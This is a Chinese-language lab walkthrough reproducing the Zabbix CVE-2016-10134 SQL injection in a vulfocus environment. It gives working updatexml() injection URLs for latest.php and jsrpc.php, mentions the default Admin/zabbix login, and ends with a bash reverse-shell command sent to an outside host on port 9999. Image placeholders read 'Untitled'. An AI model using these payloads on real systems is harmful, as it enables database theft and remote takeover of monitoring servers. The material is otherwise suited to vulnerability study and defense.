漏洞描述

zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

漏洞环境

vulfocus CVE-2016-10134

复现过程

guest账号登录,密码为空。

Untitled

登录后,查看Cookie中的zbx_sessionid,复制后16位字符:

Untitled

zbx_sessionid=8407e80e8e55ad68 fb9f5c8329d89363

将这16个字符作为sid的值,访问http://your-ip:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:

<aside> 💡 另一种方式

</aside>

<http://123.58.236.76:57696/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()>),0)

Untitled

通过sql注入,获取高级账号密码,登录。有个默认账户是Admin/zabbix。

Untitled

创建反弹shell的脚本。

Untitled

bash -c 'exec bash -i &>/dev/tcp/x.x.x.x/9999 <&1’

Untitled